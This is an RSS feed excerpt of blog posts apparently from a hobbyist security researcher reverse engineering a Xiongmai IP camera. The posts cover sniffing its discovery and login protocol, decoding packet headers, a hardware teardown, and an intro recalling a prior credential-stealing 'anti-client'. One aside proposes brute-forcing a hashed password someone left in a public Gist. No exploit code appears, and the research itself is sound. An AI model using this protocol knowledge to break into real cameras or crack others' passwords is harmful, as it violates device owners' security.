<p>In the PasteBin, there is a log of some sort. Looking at some of the strings inside provides some useful information. First of all, this is some sort of Android client, maybe even the one we have installed, listing out the JSON messages it sends and a bunch of parameters. Looking further into it, we may be able to learn more about how the headers are built. There are some strings that specifically look like they might be something related to the header.</p>
<center>
<img src="/images/xiongmai/wireshark/14.png" style="width: 100%; height: 100%;">
</center>
<p>The Gist is more of the same, although simply sent/received packets, nothing too interesting, but the guy did leave his hashed password in the file, maybe it can be brute forced back to plaintext.</p>
<p>The Github has the most interesting information, which describes exactly how the headers are made. The important function trace we care about starts in sendSocketData, which contains the function call we really care about getSendDataInBinary. This takes the header data, and puts it into a 20 byte buffer. Looking at the function itself explains it all.</p>
<center>
<img src="/images/xiongmai/wireshark/6.png" style="width: 100%; height: 100%;">
</center>
<p>Looking at an example of it&#39;s usage in the code shows that all bytes are actually ordered in Little Endian.</p>
<center>
<img src="/images/xiongmai/wireshark/7.png" style="width: 100%; height: 100%;">
</center>
<p>We now know that secondInt is actually the SessionID! However, looking fourthInt, we still dont know what it is, but the value is hardcoded to every single command, so we can guess that whatever it is, it&#39;s tied to the command name or something.</p>
<p>The camera then sends the replies to the clients previous commands.</p>
<center>
<img src="/images/xiongmai/wireshark/8.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/wireshark/9.png" style="width: 100%; height: 100%;">
</center>
<p>Now we finally start to get to the meat. The client attempts to login to the device, but I have changed the default password to &quot;password&quot;, whatever this password is, it&#39;s most likely the blank password. The reply afterwards should be a &quot;failure&quot;, we can see that the next login attempt has a different password, and actually succeeded.</p>
<center>
<img src="/images/xiongmai/wireshark/10.png" style="width: 100%; height: 100%;">
<br>
<p>Blank Password</p>
</center>
<center>
<img src="/images/xiongmai/wireshark/11.png" style="width: 100%; height: 100%;">
<br>
<p>Failure! Ret = 203</p>
</center>
<center>
<img src="/images/xiongmai/wireshark/12.png" style="width: 100%; height: 100%;">
<br>
<p>Correct Password</p>
</center>
<center>
<img src="/images/xiongmai/wireshark/13.png" style="width: 100%; height: 100%;">
<br>
<p>Success! Ret = 100</p>
</center>
<p>Interesting thing I noticed, when authentication failed, it reported it was a DVR, where when it succeeded it reports its an IPC. So far though, there is little information on what controls the SessionID field. We are probably going to need to figure this out.</p>
]]></description>
      <content:encoded><![CDATA[<p>I plan to do the same thing I did with the VStarCam, capture packets, read through them, get a basic idea for the connection process, and start writing my very own client! First things first, we want to get an idea of a couple things,</p>
<ul>
  <li>Get a list of all port numbers, source and destination, and who communicated using them.</li>
  <li>Study the basic packet structure and figure out the basic formatting.</li>
  <li>Look at the client software for clues into the inner workings.</li>
</ul>
<h2>Sniffing</h2>
<p>Same as before, the main idea is to login with the app, and then immediately disconnect, so it&#39;s easier to understand the login process. Just for information, we&#39;ll do this multiple times to see if there are any important variables in the connection process we may need to track.</p>
<p>This time the app is the <a href="https://play.google.com/store/apps/details?id=com.mobile.myeye&amp;hl=en_US">XMEye</a> app, which operates very similarly to the Eye4 app that the VStarCam uses. The app, once again, has a stupid cloud login, which means the camera has that DDNS connectivity built in again. I&#39;m really glad that I wrote rules in my network to prevent the camera from reaching the internet.</p>
<center>
<img src="/images/xiongmai/wireshark/1.png" style="width: 100%; height: 100%;">
</center>
<p>Once again, broadcast is being used in a poor way, allowing potential attackers to find ALL cameras on a network with one simple magic packet. We are also seeing some weird UDP protocol again.</p>
<p>Taking a look at the first packet, we are greeted with a 20 byte sequence, a single byte 0xFF, padded by thirteen 0x00, then 0xFA05, and lastly four 0x00. We will call this the DBP (Discovery Broadcast Packet).</p>
<center>
<img src="/images/xiongmai/wireshark/2.png" style="width: 100%; height: 100%;">
</center>
<p>Looking ahead, there is a similar marking to the 0xFA05, a 0xFB05. My guess would be that 0xFA05 is the client, and 0xFB05 is the camera. There is also a treasure trove of data sent to broadcast. From this packet we can see the format of choice is JSON. This will be a lot easier to work with that the custom protocol, because it requires less de-serialization work, the hard part is written for us! We will call this the DBR (Discovery Broadcast Reply)</p>
<center>
<img src="/images/xiongmai/wireshark/3.png" style="width: 100%; height: 100%;">
</center>
<p>It does this little dance to share the UDPPort and the TCPPort, both of which are most likely hard-coded in, so there isn&#39;t much of a reason for it. We also know that &quot;Ret : 100&quot; means the command succeeded!</p>
<center>
<img src="/images/xiongmai/wireshark/4.png" style="width: 100%; height: 100%;">
</center>
<p>Looking at the header, we can see the data contains a 0x3E, which just happens to be the exact size of the data, without the 20 byte header. When googling the name &quot;GetSafetyAbility&quot;, I couldn&#39;t find anything, not on GitHub, or any other search engine (I even tried Baidu). The protocol also switched off from UDP to TCP.</p>
<p>Going through the rest of the packets we can see we only really care about the data part of the TCP flow, not the SYN or ACK, so I set up  a simple Wireshark filter to filter the results into something a little more orderly. We only want TCP PSH packets. * tcp.flags.push == 1</p>
<center>
<img src="/images/xiongmai/wireshark/5.png" style="width: 100%; height: 100%;">
</center>
<p>When plugging some of the strings from this packet into google, I ended up finding a couple pieces of interesting information.</p>
<p><em> <a href="https://pastebin.com/D8u5jXNH">Pastebin</a> </em> <a href="https://gist.github.com/knight-of-ni/26be98747cef99cd4fe7">Gist</a> * <a href="https://github.com/charmyin/IPCTimeLapse/blob/master/videoCapture.c">Github</a></p>
<p>In the PasteBin, there is a log of some sort. Looking at some of the strings inside provides some useful information. First of all, this is some sort of Android client, maybe even the one we have installed, listing out the JSON messages it sends and a bunch of parameters. Looking further into it, we may be able to learn more about how the headers are built. There are some strings that specifically look like they might be something related to the header.</p>
<center>
<img src="/images/xiongmai/wireshark/14.png" style="width: 100%; height: 100%;">
</center>
<p>The Gist is more of the same, although simply sent/received packets, nothing too interesting, but the guy did leave his hashed password in the file, maybe it can be brute forced back to plaintext.</p>
<p>The Github has the most interesting information, which describes exactly how the headers are made. The important function trace we care about starts in sendSocketData, which contains the function call we really care about getSendDataInBinary. This takes the header data, and puts it into a 20 byte buffer. Looking at the function itself explains it all.</p>
<center>
<img src="/images/xiongmai/wireshark/6.png" style="width: 100%; height: 100%;">
</center>
<p>Looking at an example of it&#39;s usage in the code shows that all bytes are actually ordered in Little Endian.</p>
<center>
<img src="/images/xiongmai/wireshark/7.png" style="width: 100%; height: 100%;">
</center>
<p>We now know that secondInt is actually the SessionID! However, looking fourthInt, we still dont know what it is, but the value is hardcoded to every single command, so we can guess that whatever it is, it&#39;s tied to the command name or something.</p>
<p>The camera then sends the replies to the clients previous commands.</p>
<center>
<img src="/images/xiongmai/wireshark/8.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/wireshark/9.png" style="width: 100%; height: 100%;">
</center>
<p>Now we finally start to get to the meat. The client attempts to login to the device, but I have changed the default password to &quot;password&quot;, whatever this password is, it&#39;s most likely the blank password. The reply afterwards should be a &quot;failure&quot;, we can see that the next login attempt has a different password, and actually succeeded.</p>
<center>
<img src="/images/xiongmai/wireshark/10.png" style="width: 100%; height: 100%;">
<br>
<p>Blank Password</p>
</center>
<center>
<img src="/images/xiongmai/wireshark/11.png" style="width: 100%; height: 100%;">
<br>
<p>Failure! Ret = 203</p>
</center>
<center>
<img src="/images/xiongmai/wireshark/12.png" style="width: 100%; height: 100%;">
<br>
<p>Correct Password</p>
</center>
<center>
<img src="/images/xiongmai/wireshark/13.png" style="width: 100%; height: 100%;">
<br>
<p>Success! Ret = 100</p>
</center>
<p>Interesting thing I noticed, when authentication failed, it reported it was a DVR, where when it succeeded it reports its an IPC. So far though, there is little information on what controls the SessionID field. We are probably going to need to figure this out.</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/xiongmai_journey/">Xiongmai - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-04</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Exploitation</strong> (<em>Security</em>) &bull; 6 years &mdash; Developing proof-of-concept exploits to validate security vulnerabilities in binaries, network daemons, and web apps. [<a href="https://www.exploit-db.com">Exploit_db</a>]</li>
    <li><strong>C</strong> (<em>Languages</em>) &bull; 12 years &mdash; Low-level system programming language for high-performance applications, memory management, and low-level system software. [<a href="https://en.wikipedia.org/wiki/C_(programming_language)">Website</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>Hardware</title>
      <link>https://sol.vin/xiongmai_journey/1.html</link>
      <guid isPermaLink="true">https://sol.vin/xiongmai_journey/1.html</guid>
      <pubDate>Wed, 04 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-04</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">Xiongmai - Investigational Journey</category>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">Hardware Security</category>
      <category domain="skill-slug">hardware_security</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Hardware Security</dc:subject>
      <category domain="skill">Reverse Engineering</category>
      <category domain="skill-slug">reverse_engineering</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Reverse Engineering</dc:subject>
      <media:content url="https://sol.vin/images/xiongmai/1.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/2.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/3.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/4.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/5.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/6.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/7.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/8.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/9.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/10.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/11.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/12.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/13.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/14.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/15.jpg" medium="image" />
      <media:thumbnail url="https://sol.vin/images/xiongmai/1.jpg" />
      <description><![CDATA[<p>This time I got a camera that had less features than the VStarCam, from a  company called Besder. The exact model is IP20H1.</p>
<center>
<img src="/images/xiongmai/1.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/2.jpg" style="width: 100%; height: 100%;">
</center>
<p>Just looking at the Amazon page, the advertisement promises a couple things.</p>
<ul>
  <li>1080p video</li>
  <li>POE powered</li>
  <li>Onvif</li>
  <li>IR day/night switch</li>
  <li>Motion Detection</li>
</ul>
<p>It doesn&#39;t have any movement, speaker, or microphone capabilities.</p>
<p>Opening up the device we can get a clearer look inside.</p>
<center>
<img src="/images/xiongmai/3.jpg" style="width: 100%; height: 100%;">
</center>
<p>The camera head is on an up-down swivel, while the entire base rotates around. Kind of neat. Some screws and we can detach the camera head from the body.</p>
<center>
<img src="/images/xiongmai/4.jpg" style="width: 100%; height: 100%;">
</center>
<p>Right away we can see 4 wire connectors. The longest one is the Ethernet cable in. As for the red and black one, that is connected to the IR LED to power. The red and blue one I&#39;m guessing would be to help force on the IR, and the single red wire is the day light sensor, pure guess though on which are which.</p>
<p>An interesting note, the single red wire jumper is actually wedged into a three pin socket, you can see what I&#39;m talking about in this picture.</p>
<center>
<img src="/images/xiongmai/5.jpg" style="width: 100%; height: 100%;">
</center>
<p>There is also a free jumper, who knows what it might do. My guess is a potential UART, or motor control but honestly I don&#39;t know.</p>
<p>The processor, yet again, is a HI3516, a common IP camera SoC.</p>
<center>
<img src="/images/xiongmai/6.jpg" style="width: 100%; height: 100%;">
</center>
<p>Looking around the board we can also see a number of interesting ICs, using google we can find out what they do.</p>
<p>Here is some close up looks at some of the chips and markings on the PCB.</p>
<center>
<img src="/images/xiongmai/7.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/8.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/9.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/10.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/11.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/12.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/13.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/14.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/15.jpg" style="width: 100%; height: 100%;">
</center>
<p>Honestly I&#39;m no hardware expert, but I did recently pick up a FT232H I&#39;ve been wanting to learn with. I&#39;d really like to be able to pull the firmware directly off the device, right from the Winbond chip. Also, I&#39;d love to try and unbrick my VStarCam, and maybe even figure out how to write my own total firmware conversion!</p>
]]></description>
      <content:encoded><![CDATA[<p>This time I got a camera that had less features than the VStarCam, from a  company called Besder. The exact model is IP20H1.</p>
<center>
<img src="/images/xiongmai/1.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/2.jpg" style="width: 100%; height: 100%;">
</center>
<p>Just looking at the Amazon page, the advertisement promises a couple things.</p>
<ul>
  <li>1080p video</li>
  <li>POE powered</li>
  <li>Onvif</li>
  <li>IR day/night switch</li>
  <li>Motion Detection</li>
</ul>
<p>It doesn&#39;t have any movement, speaker, or microphone capabilities.</p>
<p>Opening up the device we can get a clearer look inside.</p>
<center>
<img src="/images/xiongmai/3.jpg" style="width: 100%; height: 100%;">
</center>
<p>The camera head is on an up-down swivel, while the entire base rotates around. Kind of neat. Some screws and we can detach the camera head from the body.</p>
<center>
<img src="/images/xiongmai/4.jpg" style="width: 100%; height: 100%;">
</center>
<p>Right away we can see 4 wire connectors. The longest one is the Ethernet cable in. As for the red and black one, that is connected to the IR LED to power. The red and blue one I&#39;m guessing would be to help force on the IR, and the single red wire is the day light sensor, pure guess though on which are which.</p>
<p>An interesting note, the single red wire jumper is actually wedged into a three pin socket, you can see what I&#39;m talking about in this picture.</p>
<center>
<img src="/images/xiongmai/5.jpg" style="width: 100%; height: 100%;">
</center>
<p>There is also a free jumper, who knows what it might do. My guess is a potential UART, or motor control but honestly I don&#39;t know.</p>
<p>The processor, yet again, is a HI3516, a common IP camera SoC.</p>
<center>
<img src="/images/xiongmai/6.jpg" style="width: 100%; height: 100%;">
</center>
<p>Looking around the board we can also see a number of interesting ICs, using google we can find out what they do.</p>
<p>Here is some close up looks at some of the chips and markings on the PCB.</p>
<center>
<img src="/images/xiongmai/7.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/8.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/9.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/10.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/11.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/12.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/13.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/14.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/15.jpg" style="width: 100%; height: 100%;">
</center>
<p>Honestly I&#39;m no hardware expert, but I did recently pick up a FT232H I&#39;ve been wanting to learn with. I&#39;d really like to be able to pull the firmware directly off the device, right from the Winbond chip. Also, I&#39;d love to try and unbrick my VStarCam, and maybe even figure out how to write my own total firmware conversion!</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/xiongmai_journey/">Xiongmai - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-04</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Hardware Security</strong> (<em>Security</em>) &bull; 6 years &mdash; Physical and electrical security auditing of IoT microcontrollers, UART/JTAG interfaces, and flash dump analysis. [<a href="https://en.wikipedia.org/wiki/Hardware_security">Wikipedia</a>]</li>
    <li><strong>Reverse Engineering</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [<a href="https://ghidra-sre.org">Ghidra</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>Intro</title>
      <link>https://sol.vin/xiongmai_journey/0.html</link>
      <guid isPermaLink="true">https://sol.vin/xiongmai_journey/0.html</guid>
      <pubDate>Wed, 04 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-04</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">Xiongmai - Investigational Journey</category>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">Hardware Security</category>
      <category domain="skill-slug">hardware_security</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Hardware Security</dc:subject>
      <category domain="skill">Reverse Engineering</category>
      <category domain="skill-slug">reverse_engineering</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Reverse Engineering</dc:subject>
      <description><![CDATA[<p>Hello everyone, and welcome to my investigative journey into the Besder (actually Xiongmai) IP20H1 network camera! Last time, (<a href="/vstarcam">VStarCam Investigational Journey</a>), I covered the VStarCam C7824WIP, a fully featured network camera with some BIG custom protocol flaws. Using knowledge gained from investigation, I was able to write an &quot;anti-client&quot; which could pilfer the password to the camera from a client, reflect the credentials at the camera, then install our own firmware which unfortunately bricked the device. I bought a brand new device and I&#39;m ready to try again.</p>
<p>After my first article, <a href="https://github.com/bcardiff">Brian Cardiff</a> from <a href="https://manas.tech/">Manas</a>, the creators of the <a href="https://crystal-lang.org/">Crystal</a> language, reached out to me to say that they enjoyed the article and they wanted to give me a gift card to Amazon to pick out a new camera! And that&#39;s exactly what I did. Big thank you to the Crystal team for doing this, they are some wonderful people, and I&#39;m really glad to be a part of their community!</p>
<p>If you would like to participate, you can buy the camera from <a href="https://www.amazon.com/gp/product/B07NSWBJ6J/ref=ppx_yo_dt_b_asin_title_o00_s00?ie=UTF8&amp;psc=1">Amazon</a>, and follow along, just be sure to follow these <a href="https://www.michaelhorowitz.com/Defending.against.Xiongmai_Oct2018.php">guidelines</a>, as the camera itself is basically a bot in a botnet.</p>
<p>All source code can be found on Github at <a href="https://github.com/sol-vin/xiongmai-investigational-journey">sol-vin/xiongmai-investigational-journey</a></p>
]]></description>
      <content:encoded><![CDATA[<p>Hello everyone, and welcome to my investigative journey into the Besder (actually Xiongmai) IP20H1 network camera! Last time, (<a href="/vstarcam">VStarCam Investigational Journey</a>), I covered the VStarCam C7824WIP, a fully featured network camera with some BIG custom protocol flaws. Using knowledge gained from investigation, I was able to write an &quot;anti-client&quot; which could pilfer the password to the camera from a client, reflect the credentials at the camera, then install our own firmware which unfortunately bricked the device. I bought a brand new device and I&#39;m ready to try again.</p>
<p>After my first article, <a href="https://github.com/bcardiff">Brian Cardiff</a> from <a href="https://manas.tech/">Manas</a>, the creators of the <a href="https://crystal-lang.org/">Crystal</a> language, reached out to me to say that they enjoyed the article and they wanted to give me a gift card to Amazon to pick out a new camera! And that&#39;s exactly what I did. Big thank you to the Crystal team for doing this, they are some wonderful people, and I&#39;m really glad to be a part of their community!</p>
<p>If you would like to participate, you can buy the camera from <a href="https://www.amazon.com/gp/product/B07NSWBJ6J/ref=ppx_yo_dt_b_asin_title_o00_s00?ie=UTF8&amp;psc=1">Amazon</a>, and follow along, just be sure to follow these <a href="https://www.michaelhorowitz.com/Defending.against.Xiongmai_Oct2018.php">guidelines</a>, as the camera itself is basically a bot in a botnet.</p>
<p>All source code can be found on Github at <a href="https://github.com/sol-vin/xiongmai-investigational-journey">sol-vin/xiongmai-investigational-journey</a></p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/xiongmai_journey/">Xiongmai - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-04</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Hardware Security</strong> (<em>Security</em>) &bull; 6 years &mdash; Physical and electrical security auditing of IoT microcontrollers, UART/JTAG interfaces, and flash dump analysis. [<a href="https://en.wikipedia.org/wiki/Hardware_security">Wikipedia</a>]</li>
    <li><strong>Reverse Engineering</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [<a href="https://ghidra-sre.org">Ghidra</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
  </channel>
</rss>
